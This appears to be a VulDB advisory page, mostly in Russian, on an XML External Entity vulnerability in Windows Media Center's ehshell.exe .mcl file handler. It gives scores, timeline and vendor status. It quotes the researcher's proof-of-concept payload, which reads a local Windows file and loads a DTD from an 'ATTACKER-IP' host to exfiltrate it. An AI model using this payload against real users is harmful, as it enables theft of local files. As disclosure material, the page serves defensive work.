Microsoft Windows Media Center 6.1.7600 MCL File ehshell.exe XML External Entity

CVSS Meta Temp ScoreТекущая цена эксплойта (≈)Балл интереса CTI
5.9$0-$5k0.00

СводкаИнформация

Уязвимость была найдена в Microsoft Windows Media Center 6.1.7600. Она была классифицирована как критический. Вовлечена неизвестная функция файла ehshell.exe компонента MCL File Handler. Манипуляция приводит к XML External Entity. Кроме того, имеется доступный эксплойт.

ПодробностиИнформация

Уязвимость была найдена в Microsoft Windows Media Center 6.1.7600. Она была классифицирована как критический. Вовлечена неизвестная функция файла ehshell.exe компонента MCL File Handler. Манипуляция приводит к XML External Entity. Использование CWE для описания проблемы приводит к CWE-611. Слабость была опубликована 04.12.2016 специалистом John Page (hyp3rlinx) под идентификатором Microsoft Windows Media Center "ehshell.exe" XML External Entity как Mailinglist Post (Bugtraq). Консультация доступна по адресу seclists.org. Публичная доступность была скоординирована в сотрудничестве с поставщиком.

Доступна техническая информация. Популярность этой уязвимости ниже среднего. Кроме того, имеется доступный эксплойт. Эксплойт опубликован и может быть использован. На текущий момент стоимость эксплойта может быть примерно USD $0-$5k. В бюллетене отмечено:

Windows Media Center "ehshell.exe" is vulnerable to XML External Entity attack allowing remote access to ANY files on a victims computer, if they open an XXE laden ".mcl" file via a remote share / USB or from an malicious "windowsmediacenterweb" web link.

Это объявлено как Доказательство концепции. Эксплойт доступен для загрузки на сайте seclists.org. Уязвимость оставалась в статусе непубличного эксплойта нулевого дня не менее 94 дней. В 0-дневный период предполагаемая подземная цена составляла около $100k и многое другое. Исходный код эксплойта:

<?xml version="1.0"?>
<!DOCTYPE hyp3rlinx [
<!ENTITY % data666 SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % junk SYSTEM "http://ATTACKER-IP:8080/FindMeThatBiotch.dtd";>
%junk;
%param666;
%FindMeThatBiotch;
]>
В уведомлении отмечается:
Sometimes 'Windows Media Center' will crash, sometimes opens normally and other times will not open, but the files get accessed and exfiltrated.

В уведомлении содержится следующий комментарий:

Vendor reply "Wont Fix" : October 19, 2016

ПродуктИнформация

Тип

Поставщик

Имя

Версия

Лицензия

Поддержка

  • end of life (old version)

Веб-сайт

CPE 2.3Информация

CPE 2.2Информация

CVSSv4Информация

VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv3Информация

VulDB Meta Base Score: 6.5
VulDB Meta Temp Score: 5.9

VulDB Базовый балл: 6.5
VulDB Временная оценка: 5.9
VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv2Информация

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
ВекторСложностьАутентификацияКонфиденциальностьЦелостностьДоступность
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать

VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍

ЭксплуатацияИнформация

Класс: XML External Entity
CWE: CWE-611 / CWE-610
CAPEC: 🔍
ATT&CK: 🔍

Физический: Нет
Локальный: Нет
Удалённый: Да

Доступность: 🔍
Доступ: публичный
Статус: Доказательство концепции
Автор: John Page (hyp3rlinx)
Язык программирования: 🔍
Скачать: 🔍
Прогноз цен: 🔍
Оценка текущей цены: 🔍

0-DayРазблокироватьРазблокироватьРазблокироватьРазблокировать
СегодняРазблокироватьРазблокироватьРазблокироватьРазблокировать

Разведка угрозИнформация

Интерес: 🔍
Активные акторы: 🔍
Активные группы APT: 🔍

КонтрмерыИнформация

Рекомендация: о смягчении не известно
Статус: 🔍

0-дневное время: 🔍
Задержка эксплуатации: 🔍

ХронологияИнформация

01.09.2016 🔍
06.09.2016 +5 дни 🔍
04.12.2016 +89 дни 🔍
04.12.2016 +0 дни 🔍
05.12.2016 +1 дни 🔍
19.06.2019 +926 дни 🔍

ИсточникиИнформация

Поставщик: microsoft.com

Консультация: Microsoft Windows Media Center "ehshell.exe" XML External Entity
Исследователь: John Page (hyp3rlinx)
Статус: Не определено
Скоординированный: 🔍

GCVE (VulDB): GCVE-100-93953
scip Labs: https://www.scip.ch/en/?labs.20161013

ВходИнформация

Создано: 05.12.2016 11:50
Обновлено: 19.06.2019 17:26
Изменения: 05.12.2016 11:50 (56), 19.06.2019 17:26 (2)
Завершенный: 🔍
Cache ID: 216::103

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Обсуждение

Комментариев пока нет. Языки: ru + be + en.

Пожалуйста, войдите в систему, чтобы прокомментировать.

◂ ПредыдущийОбзорДалее ▸

Do you need the next level of professionalism?

Upgrade your account now!